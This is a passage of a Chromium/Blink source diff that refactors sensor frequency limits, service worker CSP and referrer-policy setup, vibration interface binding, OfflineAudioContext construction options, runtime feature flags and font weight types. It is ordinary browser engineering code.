+      ConsoleMessage* console_message = ConsoleMessage::Create(
+          kJSMessageSource, kInfoMessageLevel, std::move(message));
       execution_context->AddConsoleMessage(console_message);
     }
   }
@@ -195,7 +193,8 @@
   // polling period.
   auto sensor_reading_changed =
       WTF::Bind(&Sensor::NotifyReading, WrapWeakPersistent(this));
-  if (waitingTime < kMinWaitingInterval) {
+  double minWaitingInterval = 1 / device::GetSensorMaxAllowedFrequency(type_);
+  if (waitingTime < minWaitingInterval) {
     // Invoke JS callbacks in a different callchain to obviate
     // possible modifications of SensorProxy::observers_ container
     // while it is being iterated through.
@@ -280,9 +279,10 @@
   if (!configuration_) {
     configuration_ = CreateSensorConfig();
     DCHECK(configuration_);
-    DCHECK(configuration_->frequency > 0 &&
-           configuration_->frequency <=
-               SensorConfiguration::kMaxAllowedFrequency);
+    DCHECK_GE(configuration_->frequency,
+              sensor_proxy_->FrequencyLimits().first);
+    DCHECK_LE(configuration_->frequency,
+              sensor_proxy_->FrequencyLimits().second);
   }
 
   DCHECK(sensor_proxy_);
diff --git a/third_party/WebKit/Source/modules/sensor/SensorProxy.cpp b/third_party/WebKit/Source/modules/sensor/SensorProxy.cpp
index 1d8fb80..3f1d624 100644
--- a/third_party/WebKit/Source/modules/sensor/SensorProxy.cpp
+++ b/third_party/WebKit/Source/modules/sensor/SensorProxy.cpp
@@ -10,6 +10,7 @@
 #include "modules/sensor/SensorProviderProxy.h"
 #include "platform/mojo/MojoHelper.h"
 #include "public/platform/Platform.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 
 namespace blink {
 
@@ -209,9 +210,8 @@
 
   DCHECK_GT(frequency_limits_.first, 0.0);
   DCHECK_GE(frequency_limits_.second, frequency_limits_.first);
-  constexpr double kMaxAllowedFrequency =
-      SensorConfiguration::kMaxAllowedFrequency;
-  DCHECK_GE(kMaxAllowedFrequency, frequency_limits_.second);
+  DCHECK_GE(device::GetSensorMaxAllowedFrequency(type_),
+            frequency_limits_.second);
 
   auto error_callback =
       WTF::Bind(&SensorProxy::HandleSensorError, WrapWeakPersistent(this));
diff --git a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScope.cpp b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScope.cpp
index f9c9cbf1..008caf37 100644
--- a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScope.cpp
+++ b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScope.cpp
@@ -61,6 +61,7 @@
 #include "platform/loader/fetch/MemoryCache.h"
 #include "platform/loader/fetch/ResourceLoaderOptions.h"
 #include "platform/loader/fetch/ResourceRequest.h"
+#include "platform/network/ContentSecurityPolicyResponseHeaders.h"
 #include "platform/weborigin/KURL.h"
 #include "platform/wtf/CurrentTime.h"
 #include "platform/wtf/PtrUtil.h"
@@ -79,8 +80,15 @@
       creation_params->worker_clients);
 
   context->SetV8CacheOptions(creation_params->v8_cache_options);
-  context->ApplyContentSecurityPolicyFromVector(
-      *creation_params->content_security_policy_headers);
+  if (creation_params->content_security_policy_raw_headers) {
+    DCHECK_EQ(0u,
+              creation_params->content_security_policy_parsed_headers->size());
+    context->ApplyContentSecurityPolicyFromHeaders(
+        creation_params->content_security_policy_raw_headers.value());
+  } else {
+    context->ApplyContentSecurityPolicyFromVector(
+        *creation_params->content_security_policy_parsed_headers);
+  }
   context->SetWorkerSettings(std::move(creation_params->worker_settings));
   if (!creation_params->referrer_policy.IsNull())
     context->ParseAndSetReferrerPolicy(creation_params->referrer_policy);
diff --git a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.cpp b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.cpp
index 4619605..4030f70 100644
--- a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.cpp
+++ b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.cpp
@@ -36,6 +36,7 @@
 #include "bindings/core/v8/WorkerOrWorkletScriptController.h"
 #include "core/dom/ExecutionContext.h"
 #include "core/dom/MessagePort.h"
+#include "core/frame/csp/ContentSecurityPolicy.h"
 #include "core/inspector/ConsoleMessage.h"
 #include "core/origin_trials/OriginTrials.h"
 #include "core/workers/ParentFrameTaskRunners.h"
@@ -76,6 +77,7 @@
 #include "modules/serviceworkers/WaitUntilObserver.h"
 #include "platform/CrossThreadFunctional.h"
 #include "platform/RuntimeEnabledFeatures.h"
+#include "platform/WaitableEvent.h"
 #include "platform/loader/fetch/ResourceResponse.h"
 #include "platform/wtf/Assertions.h"
 #include "platform/wtf/Functional.h"
@@ -562,8 +564,28 @@
       WorkerGlobalScope()->ScriptController()->GetContext());
 }
 
-void ServiceWorkerGlobalScopeProxy::DidLoadInstalledScript() {
+void ServiceWorkerGlobalScopeProxy::DidLoadInstalledScript(
+    const ContentSecurityPolicyResponseHeaders& csp_headers_on_worker_thread,
+    const String& referrer_policy_on_worker_thread) {
+  DCHECK(embedded_worker_);
+
+  // Post a task to the main thread to set CSP and ReferrerPolicy on the shadow
+  // page.
+  WaitableEvent waitable_event;
+  parent_frame_task_runners_->Get(TaskType::kUnthrottled)
+      ->PostTask(
+          BLINK_FROM_HERE,
+          CrossThreadBind(
+              &WebEmbeddedWorkerImpl::SetContentSecurityPolicyAndReferrerPolicy,
+              CrossThreadUnretained(embedded_worker_),
+              csp_headers_on_worker_thread, referrer_policy_on_worker_thread,
+              CrossThreadUnretained(&waitable_event)));
   Client().WorkerScriptLoaded();
+
+  // Wait for the task to complete before returning. This ensures that worker
+  // script evaluation can't start and issue any fetches until CSP and
+  // ReferrerPolicy are set.
+  waitable_event.Wait();
 }
 
 void ServiceWorkerGlobalScopeProxy::WillEvaluateWorkerScript(
diff --git a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.h b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.h
index aa23253..454f832 100644
--- a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.h
+++ b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerGlobalScopeProxy.h
@@ -151,7 +151,9 @@
   void PostMessageToPageInspector(int session_id, const String&) override;
   void DidCreateWorkerGlobalScope(WorkerOrWorkletGlobalScope*) override;
   void DidInitializeWorkerContext() override;
-  void DidLoadInstalledScript() override;
+  void DidLoadInstalledScript(
+      const ContentSecurityPolicyResponseHeaders&,
+      const String& referrer_policy_on_worker_thread) override;
   void WillEvaluateWorkerScript(size_t script_size,
                                 size_t cached_metadata_size) override;
   void WillEvaluateImportedScript(size_t script_size,
diff --git a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerInstalledScriptsManager.cpp b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerInstalledScriptsManager.cpp
index 7a095ca4..1c98702 100644
--- a/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerInstalledScriptsManager.cpp
+++ b/third_party/WebKit/Source/modules/serviceworkers/ServiceWorkerInstalledScriptsManager.cpp
@@ -41,25 +41,24 @@
         TextResourceDecoderOptions::kPlainTextContent));
   }
 
-  InstalledScriptsManager::ScriptData script_data;
-  // TODO(shimazu): Read the headers for ContentSecurityPolicy, ReferrerPolicy,
-  // and OriginTrialTokens and set them to |script_data|.
   StringBuilder source_text_builder;
   for (const auto& chunk : raw_script_data->ScriptTextChunks())
     source_text_builder.Append(decoder->Decode(chunk.Data(), chunk.size()));
-  script_data.source_text = source_text_builder.ToString();
 
+  std::unique_ptr<Vector<char>> meta_data;
   if (raw_script_data->MetaDataChunks().size() > 0) {
     size_t total_metadata_size = 0;
     for (const auto& chunk : raw_script_data->MetaDataChunks())
       total_metadata_size += chunk.size();
-    script_data.meta_data = WTF::MakeUnique<Vector<char>>();
-    script_data.meta_data->ReserveInitialCapacity(total_metadata_size);
+    meta_data = WTF::MakeUnique<Vector<char>>();
+    meta_data->ReserveInitialCapacity(total_metadata_size);
     for (const auto& chunk : raw_script_data->MetaDataChunks())
-      script_data.meta_data->Append(chunk.Data(), chunk.size());
+      meta_data->Append(chunk.Data(), chunk.size());
   }
 
-  script_data.headers.Adopt(raw_script_data->TakeHeaders());
+  InstalledScriptsManager::ScriptData script_data(
+      script_url, source_text_builder.ToString(), std::move(meta_data),
+      raw_script_data->TakeHeaders());
   return Optional<ScriptData>(std::move(script_data));
 }
 
diff --git a/third_party/WebKit/Source/modules/serviceworkers/WebEmbeddedWorkerImplTest.cpp b/third_party/WebKit/Source/modules/serviceworkers/WebEmbeddedWorkerImplTest.cpp
index 3559fbf..bf14909 100644
--- a/third_party/WebKit/Source/modules/serviceworkers/WebEmbeddedWorkerImplTest.cpp
+++ b/third_party/WebKit/Source/modules/serviceworkers/WebEmbeddedWorkerImplTest.cpp
@@ -262,7 +262,7 @@
   response.SetHTTPStatusCode(404);
   WebURLError error;
   error.reason = 1010;
-  error.domain = "WebEmbeddedWorkerImplTest";
+  error.domain = WebURLError::Domain::kTest;
   Platform::Current()->GetURLLoaderMockFactory()->RegisterErrorURL(
       script_url, response, error);
   start_data_.script_url = script_url;
diff --git a/third_party/WebKit/Source/modules/vibration/NavigatorVibration.cpp b/third_party/WebKit/Source/modules/vibration/NavigatorVibration.cpp
index ac81883..f8909f4 100644
--- a/third_party/WebKit/Source/modules/vibration/NavigatorVibration.cpp
+++ b/third_party/WebKit/Source/modules/vibration/NavigatorVibration.cpp
@@ -171,9 +171,9 @@
   }
 }
 
-VibrationController* NavigatorVibration::Controller(const LocalFrame& frame) {
+VibrationController* NavigatorVibration::Controller(LocalFrame& frame) {
   if (!controller_)
-    controller_ = new VibrationController(*frame.GetDocument());
+    controller_ = new VibrationController(frame);
 
   return controller_.Get();
 }
diff --git a/third_party/WebKit/Source/modules/vibration/NavigatorVibration.h b/third_party/WebKit/Source/modules/vibration/NavigatorVibration.h
index 052786b..8387ddd4 100644
--- a/third_party/WebKit/Source/modules/vibration/NavigatorVibration.h
+++ b/third_party/WebKit/Source/modules/vibration/NavigatorVibration.h
@@ -62,7 +62,7 @@
   static bool vibrate(Navigator&, unsigned time);
   static bool vibrate(Navigator&, const VibrationPattern&);
 
-  VibrationController* Controller(const LocalFrame&);
+  VibrationController* Controller(LocalFrame&);
 
   DECLARE_VIRTUAL_TRACE();
 
diff --git a/third_party/WebKit/Source/modules/vibration/VibrationController.cpp b/third_party/WebKit/Source/modules/vibration/VibrationController.cpp
index dab6a738..577ac82a 100644
--- a/third_party/WebKit/Source/modules/vibration/VibrationController.cpp
+++ b/third_party/WebKit/Source/modules/vibration/VibrationController.cpp
@@ -22,12 +22,12 @@
 #include "bindings/modules/v8/UnsignedLongOrUnsignedLongSequence.h"
 #include "core/dom/Document.h"
 #include "core/dom/TaskRunnerHelper.h"
+#include "core/frame/LocalFrame.h"
 #include "core/frame/Navigator.h"
 #include "core/page/Page.h"
 #include "platform/mojo/MojoHelper.h"
 #include "public/platform/Platform.h"
-#include "services/device/public/interfaces/constants.mojom-blink.h"
-#include "services/service_manager/public/cpp/connector.h"
+#include "services/service_manager/public/cpp/interface_provider.h"
 
 // Maximum number of entries in a vibration pattern.
 const unsigned kVibrationPatternLengthMax = 99;
@@ -75,18 +75,17 @@
   return sanitizeVibrationPatternInternal(sanitized);
 }
 
-VibrationController::VibrationController(Document& document)
-    : ContextLifecycleObserver(&document),
-      PageVisibilityObserver(document.GetPage()),
-      timer_do_vibrate_(
-          TaskRunnerHelper::Get(TaskType::kMiscPlatformAPI, &document),
-          this,
-          &VibrationController::DoVibrate),
+VibrationController::VibrationController(LocalFrame& frame)
+    : ContextLifecycleObserver(frame.GetDocument()),
+      PageVisibilityObserver(frame.GetDocument()->GetPage()),
+      timer_do_vibrate_(TaskRunnerHelper::Get(TaskType::kMiscPlatformAPI,
+                                              frame.GetDocument()),
+                        this,
+                        &VibrationController::DoVibrate),
       is_running_(false),
       is_calling_cancel_(false),
       is_calling_vibrate_(false) {
-  Platform::Current()->GetConnector()->BindInterface(
-      device::mojom::blink::kServiceName,
+  frame.GetInterfaceProvider().GetInterface(
       mojo::MakeRequest(&vibration_manager_));
 }
 
diff --git a/third_party/WebKit/Source/modules/vibration/VibrationController.h b/third_party/WebKit/Source/modules/vibration/VibrationController.h
index 46dd923..006ae25 100644
--- a/third_party/WebKit/Source/modules/vibration/VibrationController.h
+++ b/third_party/WebKit/Source/modules/vibration/VibrationController.h
@@ -32,7 +32,7 @@
 
 namespace blink {
 
-class Document;
+class LocalFrame;
 class UnsignedLongOrUnsignedLongSequence;
 
 class MODULES_EXPORT VibrationController final
@@ -45,7 +45,7 @@
  public:
   using VibrationPattern = Vector<unsigned>;
 
-  explicit VibrationController(Document&);
+  explicit VibrationController(LocalFrame&);
   virtual ~VibrationController();
 
   static VibrationPattern SanitizeVibrationPattern(
diff --git a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.cpp b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.cpp
index 257fc90..876ddcb4 100644
--- a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.cpp
+++ b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.cpp
@@ -33,6 +33,7 @@
 #include "modules/webaudio/AudioListener.h"
 #include "modules/webaudio/DeferredTaskHandler.h"
 #include "modules/webaudio/OfflineAudioCompletionEvent.h"
+#include "modules/webaudio/OfflineAudioContextOptions.h"
 #include "modules/webaudio/OfflineAudioDestinationNode.h"
 #include "platform/bindings/ScriptState.h"
 
@@ -128,6 +129,17 @@
   return audio_context;
 }
 
+OfflineAudioContext* OfflineAudioContext::Create(
+    ExecutionContext* context,
+    const OfflineAudioContextOptions& options,
+    ExceptionState& exception_state) {
+  OfflineAudioContext* offline_context =
+      Create(context, options.numberOfChannels(), options.length(),
+             options.sampleRate(), exception_state);
+
+  return offline_context;
+}
+
 OfflineAudioContext::OfflineAudioContext(Document* document,
                                          unsigned number_of_channels,
                                          size_t number_of_frames,
diff --git a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.h b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.h
index 165d555..b8dd28c 100644
--- a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.h
+++ b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.h
@@ -33,6 +33,7 @@
 namespace blink {
 
 class ExceptionState;
+class OfflineAudioContextOptions;
 class OfflineAudioDestinationHandler;
 
 class MODULES_EXPORT OfflineAudioContext final : public BaseAudioContext {
@@ -45,6 +46,10 @@
                                      float sample_rate,
                                      ExceptionState&);
 
+  static OfflineAudioContext* Create(ExecutionContext*,
+                                     const OfflineAudioContextOptions&,
+                                     ExceptionState&);
+
   ~OfflineAudioContext() override;
 
   DECLARE_VIRTUAL_TRACE();
diff --git a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.idl b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.idl
index 0f0c823..92d713d 100644
--- a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.idl
+++ b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContext.idl
@@ -26,6 +26,7 @@
 // See https://webaudio.github.io/web-audio-api/#OfflineAudioContext
 [
     Constructor(unsigned long numberOfChannels, unsigned long numberOfFrames, float sampleRate),
+    Constructor(OfflineAudioContextOptions options),
     ConstructorCallWith=ExecutionContext,
     RaisesException=Constructor,
     Measure
diff --git a/third_party/WebKit/Source/modules/webaudio/OfflineAudioContextOptions.idl b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContextOptions.idl
new file mode 100644
index 0000000..99a9383
--- /dev/null
+++ b/third_party/WebKit/Source/modules/webaudio/OfflineAudioContextOptions.idl
@@ -0,0 +1,10 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// See https://webaudio.github.io/web-audio-api/#offlineaudiocontextoptions
+dictionary OfflineAudioContextOptions {
+    unsigned long numberOfChannels = 1;
+    required unsigned long length;
+    required float sampleRate;
+};
diff --git a/third_party/WebKit/Source/modules/webaudio/OfflineAudioDestinationNode.cpp b/third_party/WebKit/Source/modules/webaudio/OfflineAudioDestinationNode.cpp
index 9e6fc0c..2efcb0f 100644
--- a/third_party/WebKit/Source/modules/webaudio/OfflineAudioDestinationNode.cpp
+++ b/third_party/WebKit/Source/modules/webaudio/OfflineAudioDestinationNode.cpp
@@ -191,7 +191,7 @@
         ProcessHeap::GetCrossThreadPersistentRegion(), true);
     if (!gc_lock.HasLock()) {
       // To ensure that the rendering step eventually happens, repost.
-      render_thread_->GetWebTaskRunner()->PostTask(
+      GetRenderingThread()->GetWebTaskRunner()->PostTask(
           BLINK_FROM_HERE,
           Bind(&OfflineAudioDestinationHandler::DoOfflineRendering,
                WrapPassRefPtr(this)));
diff --git a/third_party/WebKit/Source/platform/BUILD.gn b/third_party/WebKit/Source/platform/BUILD.gn
index 5f9d368..c4de7e7 100644
--- a/third_party/WebKit/Source/platform/BUILD.gn
+++ b/third_party/WebKit/Source/platform/BUILD.gn
@@ -703,11 +703,8 @@
     "fonts/FontOrientation.h",
     "fonts/FontPlatformData.cpp",
     "fonts/FontPlatformData.h",
-    "fonts/FontSelectionAlgorithm.cpp",
-    "fonts/FontSelectionAlgorithm.h",
-    "fonts/FontSelectionTypes.cpp",
-    "fonts/FontSelectionTypes.h",
     "fonts/FontSmoothingMode.h",
+    "fonts/FontTraits.h",
     "fonts/FontVariantNumeric.h",
     "fonts/FontWidthVariant.h",
     "fonts/GenericFontFamilySettings.cpp",
@@ -1680,6 +1677,7 @@
     "//cc",
     "//cc:test_support",
     "//cc/blink",
+    "//components/viz/test:test_support",
     "//testing/gmock",
     "//testing/gtest:gtest",
   ]
@@ -1737,7 +1735,6 @@
     "fonts/FontCacheTest.cpp",
     "fonts/FontDescriptionTest.cpp",
     "fonts/FontPlatformDataTest.cpp",
-    "fonts/FontSelectionTypesTest.cpp",
     "fonts/FontTest.cpp",
     "fonts/FontTestUtilities.cpp",
     "fonts/GenericFontFamilySettingsTest.cpp",
diff --git a/third_party/WebKit/Source/platform/DEPS b/third_party/WebKit/Source/platform/DEPS
index b31a2ecb..5f473f6 100644
--- a/third_party/WebKit/Source/platform/DEPS
+++ b/third_party/WebKit/Source/platform/DEPS
@@ -19,6 +19,7 @@
     "+base/metrics/histogram_samples.h",
     "+base/metrics/sparse_histogram.h",
     "+base/numerics/safe_conversions.h",
+    "+base/run_loop.h",
     "+base/single_thread_task_runner.h",
     "+base/strings/string_util.h",
     "+base/strings/stringprintf.h",
diff --git a/third_party/WebKit/Source/platform/DragImage.cpp b/third_party/WebKit/Source/platform/DragImage.cpp
index 46122d5..c6b62d0 100644
--- a/third_party/WebKit/Source/platform/DragImage.cpp
+++ b/third_party/WebKit/Source/platform/DragImage.cpp
@@ -180,7 +180,7 @@
 }
 
 static Font DeriveDragLabelFont(int size,
-                                FontSelectionValue font_weight,
+                                FontWeight font_weight,
                                 const FontDescription& system_font) {
   FontDescription description = system_font;
   description.SetWeight(font_weight);
@@ -195,12 +195,12 @@
                                              const String& in_label,
                                              const FontDescription& system_font,
                                              float device_scale_factor) {
-  const Font label_font = DeriveDragLabelFont(kDragLinkLabelFontSize,
-                                              BoldWeightValue(), system_font);
+  const Font label_font =
+      DeriveDragLabelFont(kDragLinkLabelFontSize, kFontWeightBold, system_font);
   const SimpleFontData* label_font_data = label_font.PrimaryFont();
   DCHECK(label_font_data);
-  const Font url_font = DeriveDragLabelFont(kDragLinkUrlFontSize,
-                                            NormalWeightValue(), system_font);
+  const Font url_font =
+      DeriveDragLabelFont(kDragLinkUrlFontSize, kFontWeightNormal, system_font);
   const SimpleFontData* url_font_data = url_font.PrimaryFont();
   DCHECK(url_font_data);
 
diff --git a/third_party/WebKit/Source/platform/DragImageTest.cpp b/third_party/WebKit/Source/platform/DragImageTest.cpp
index 9e4f84ac..9222aab 100644
--- a/third_party/WebKit/Source/platform/DragImageTest.cpp
+++ b/third_party/WebKit/Source/platform/DragImageTest.cpp
@@ -32,6 +32,7 @@
 
 #include <memory>
 #include "platform/fonts/FontDescription.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/geometry/IntSize.h"
 #include "platform/graphics/BitmapImage.h"
 #include "platform/graphics/Image.h"
@@ -141,8 +142,8 @@
   font_description.SetSpecifiedSize(16);
   font_description.SetIsAbsoluteSize(true);
   font_description.SetGenericFamily(FontDescription::kNoFamily);
-  font_description.SetWeight(NormalWeightValue());
-  font_description.SetStyle(NormalSlopeValue());
+  font_description.SetWeight(kFontWeightNormal);
+  font_description.SetStyle(kFontStyleNormal);
 
   std::unique_ptr<DragImage> test_image =
       DragImage::Create(url, test_label, font_description, device_scale_factor);
diff --git a/third_party/WebKit/Source/platform/RuntimeEnabledFeatures.json5 b/third_party/WebKit/Source/platform/RuntimeEnabledFeatures.json5
index dc85ef3b7..0d7b7e0 100644
--- a/third_party/WebKit/Source/platform/RuntimeEnabledFeatures.json5
+++ b/third_party/WebKit/Source/platform/RuntimeEnabledFeatures.json5
@@ -257,7 +257,7 @@
     },
     {
       name: "CSSHexAlphaColor",
-      status: "experimental",
+      status: "stable",
     },
     {
       name: "CSSHyphens",
@@ -363,6 +363,10 @@
       status: "experimental",
     },
     {
+      name: "DeprecationReporting",
+      status: "experimental",
+    },
+    {
       name: "DesktopCaptureDisableLocalEchoControl",
       status: "experimental",
     },
@@ -388,9 +392,6 @@
       name: "DocumentWrite",
     },
     {
-      name: "DocumentWriteEvaluator",
-    },
-    {
       name: "DOMConvenienceAPI",
       status: "stable",
     },
@@ -895,6 +896,10 @@
       status: "stable",
     },
     {
+      name: "ReportingObserver",
+      status: "experimental",
+    },
+    {
       name: "ResizeObserver",
       status: "experimental",
     },
diff --git a/third_party/WebKit/Source/platform/TimerPerfTest.cpp b/third_party/WebKit/Source/platform/TimerPerfTest.cpp
index 4611ebb..8ab41e5 100644
--- a/third_party/WebKit/Source/platform/TimerPerfTest.cpp
+++ b/third_party/WebKit/Source/platform/TimerPerfTest.cpp
@@ -5,7 +5,7 @@
 
 #include "platform/Timer.h"
 
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/time/time.h"
 #include "platform/testing/UnitTestHelpers.h"
 #include "platform/wtf/PtrUtil.h"
@@ -23,7 +23,7 @@
 
   void RecordEndRunTime(TimerBase*) {
     run_end_ = base::ThreadTicks::Now();
-    base::MessageLoop::current()->QuitNow();
+    base::RunLoop::QuitCurrentDeprecated();
   }
 
   base::ThreadTicks run_start_;
diff --git a/third_party/WebKit/Source/platform/exported/WebFontDescription.cpp b/third_party/WebKit/Source/platform/exported/WebFontDescription.cpp
index c0a38cd..3f2c4515 100644
--- a/third_party/WebKit/Source/platform/exported/WebFontDescription.cpp
+++ b/third_party/WebKit/Source/platform/exported/WebFontDescription.cpp
@@ -38,11 +38,9 @@
   family = desc.Family().Family();
   generic_family = static_cast<GenericFamily>(desc.GenericFamily());
   size = desc.SpecifiedSize();
-  italic = desc.Style() == ItalicSlopeValue();
+  italic = desc.Style() == kFontStyleItalic;
   small_caps = desc.VariantCaps() == FontDescription::kSmallCaps;
-  DCHECK(desc.Weight() >= 100 && desc.Weight() <= 900 &&
-         static_cast<int>(desc.Weight()) % 100 == 0);
-  weight = static_cast<Weight>(static_cast<int>(desc.Weight()) / 100 - 1);
+  weight = static_cast<Weight>(desc.Weight());
   smoothing = static_cast<Smoothing>(desc.FontSmoothing());
   letter_spacing = desc.LetterSpacing();
   word_spacing = desc.WordSpacing();
@@ -58,14 +56,10 @@
       static_cast<FontDescription::GenericFamilyType>(generic_family));
   desc.SetSpecifiedSize(size);
   desc.SetComputedSize(size);
-  desc.SetStyle(italic ? ItalicSlopeValue() : NormalSlopeValue());
+  desc.SetStyle(italic ? kFontStyleItalic : kFontStyleNormal);
   desc.SetVariantCaps(small_caps ? FontDescription::kSmallCaps
                                  : FontDescription::kCapsNormal);
-  static_assert(static_cast<int>(WebFontDescription::kWeight100) == 0,
-                "kWeight100 conversion");
-  static_assert(static_cast<int>(WebFontDescription::kWeight900) == 8,
-                "kWeight900 conversion");
-  desc.SetWeight(FontSelectionValue((weight + 1) * 100));
+  desc.SetWeight(static_cast<FontWeight>(weight));
   desc.SetFontSmoothing(static_cast<FontSmoothingMode>(smoothing));
   desc.SetLetterSpacing(letter_spacing);
   desc.SetWordSpacing(word_spacing);
diff --git a/third_party/WebKit/Source/platform/exported/WebRuntimeFeatures.cpp b/third_party/WebKit/Source/platform/exported/WebRuntimeFeatures.cpp
index 3e230bf..84eb1e0 100644
--- a/third_party/WebKit/Source/platform/exported/WebRuntimeFeatures.cpp
+++ b/third_party/WebKit/Source/platform/exported/WebRuntimeFeatures.cpp
@@ -96,6 +96,10 @@
   RuntimeEnabledFeatures::SetCompositorTouchActionEnabled(enable);
 }
 
+void WebRuntimeFeatures::EnableCSSHexAlphaColor(bool enable) {
+  RuntimeEnabledFeatures::SetCSSHexAlphaColorEnabled(enable);
+}
+
 void WebRuntimeFeatures::EnableDatabase(bool enable) {
   RuntimeEnabledFeatures::SetDatabaseEnabled(enable);
 }
@@ -116,10 +120,6 @@
   RuntimeEnabledFeatures::SetDisplayList2dCanvasEnabled(enable);
 }
 
-void WebRuntimeFeatures::EnableDocumentWriteEvaluator(bool enable) {
-  RuntimeEnabledFeatures::SetDocumentWriteEvaluatorEnabled(enable);
-}
-
 void WebRuntimeFeatures::EnableExperimentalCanvasFeatures(bool enable) {
   RuntimeEnabledFeatures::SetExperimentalCanvasFeaturesEnabled(enable);
 }
diff --git a/third_party/WebKit/Source/platform/exported/WebURLError.cpp b/third_party/WebKit/Source/platform/exported/WebURLError.cpp
index f0e5c8e..c2b93f0 100644
--- a/third_party/WebKit/Source/platform/exported/WebURLError.cpp
+++ b/third_party/WebKit/Source/platform/exported/WebURLError.cpp
@@ -51,7 +51,7 @@
   if (error.IsNull()) {
     *this = WebURLError();
   } else {
-    domain = error.Domain();
+    domain = error.GetDomain();
     reason = error.ErrorCode();
     unreachable_url = KURL(kParsedURLString, error.FailingURL());
     stale_copy_in_cache = error.StaleCopyInCache();
@@ -73,4 +73,28 @@
   return resource_error;
 }
 
+std::ostream& operator<<(std::ostream& out, const WebURLError::Domain domain) {
+  switch (domain) {
+    case WebURLError::Domain::kEmpty:
+      out << "(null)";
+      break;
+    case WebURLError::Domain::kNet:
+      out << "net";
+      break;
+    case WebURLError::Domain::kBlinkInternal:
+      out << "blink";
+      break;
+    case WebURLError::Domain::kHttp:
+      out << "http";
+      break;
+    case WebURLError::Domain::kDnsProbe:
+      out << "dns probe";
+      break;
+    case WebURLError::Domain::kTest:
+      out << "testing";
+      break;
+  }
+  return out;
+}
+
 }  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/FontDescription.cpp b/third_party/WebKit/Source/platform/fonts/FontDescription.cpp
index 27dbcba3..3dba0000 100644
--- a/third_party/WebKit/Source/platform/fonts/FontDescription.cpp
+++ b/third_party/WebKit/Source/platform/fonts/FontDescription.cpp
@@ -46,7 +46,6 @@
   RefPtr<FontVariationSettings> variation_settings_;
   AtomicString locale;
   float sizes[6];
-  FontSelectionRequest selection_request_;
   FieldsAsUnsignedType bitfields;
 };
 
@@ -63,16 +62,16 @@
       adjusted_size_(0),
       size_adjust_(kFontSizeAdjustNone),
       letter_spacing_(0),
-      word_spacing_(0),
-      font_selection_request_(NormalWeightValue(),
-                              NormalWidthValue(),
-                              NormalSlopeValue()) {
+      word_spacing_(0) {
   fields_as_unsigned_.parts[0] = 0;
   fields_as_unsigned_.parts[1] = 0;
   fields_.orientation_ = static_cast<unsigned>(FontOrientation::kHorizontal);
   fields_.width_variant_ = kRegularWidth;
+  fields_.style_ = kFontStyleNormal;
   fields_.variant_caps_ = kCapsNormal;
   fields_.is_absolute_size_ = false;
+  fields_.weight_ = kFontWeightNormal;
+  fields_.stretch_ = kFontStretchNormal;
   fields_.generic_family_ = kNoFamily;
   fields_.kerning_ = kAutoKerning;
   fields_.common_ligatures_state_ = kNormalLigaturesState;
@@ -102,7 +101,6 @@
          size_adjust_ == other.size_adjust_ &&
          letter_spacing_ == other.letter_spacing_ &&
          word_spacing_ == other.word_spacing_ &&
-         font_selection_request_ == other.font_selection_request_ &&
          fields_as_unsigned_.parts[0] == other.fields_as_unsigned_.parts[0] &&
          fields_as_unsigned_.parts[1] == other.fields_as_unsigned_.parts[1] &&
          (feature_settings_ == other.feature_settings_ ||
@@ -113,26 +111,46 @@
            *variation_settings_ == *other.variation_settings_));
 }
 
-FontSelectionValue FontDescription::LighterWeight(FontSelectionValue weight) {
-  if (weight >= FontSelectionValue(100) && weight <= FontSelectionValue(500))
-    return FontSelectionValue(100);
-  if (weight >= FontSelectionValue(600) && weight <= FontSelectionValue(700))
-    return FontSelectionValue(400);
-  if (weight >= FontSelectionValue(800) && weight <= FontSelectionValue(900))
-    return FontSelectionValue(700);
+FontWeight FontDescription::LighterWeight(FontWeight weight) {
+  switch (weight) {
+    case kFontWeight100:
+    case kFontWeight200:
+    case kFontWeight300:
+    case kFontWeight400:
+    case kFontWeight500:
+      return kFontWeight100;
+
+    case kFontWeight600:
+    case kFontWeight700:
+      return kFontWeight400;
+
+    case kFontWeight800:
+    case kFontWeight900:
+      return kFontWeight700;
+  }
   NOTREACHED();
-  return NormalWeightValue();
+  return kFontWeightNormal;
 }
 
-FontSelectionValue FontDescription::BolderWeight(FontSelectionValue weight) {
-  if (weight >= FontSelectionValue(100) && weight <= FontSelectionValue(300))
-    return FontSelectionValue(400);
-  if (weight >= FontSelectionValue(400) && weight <= FontSelectionValue(500))
-    return FontSelectionValue(700);
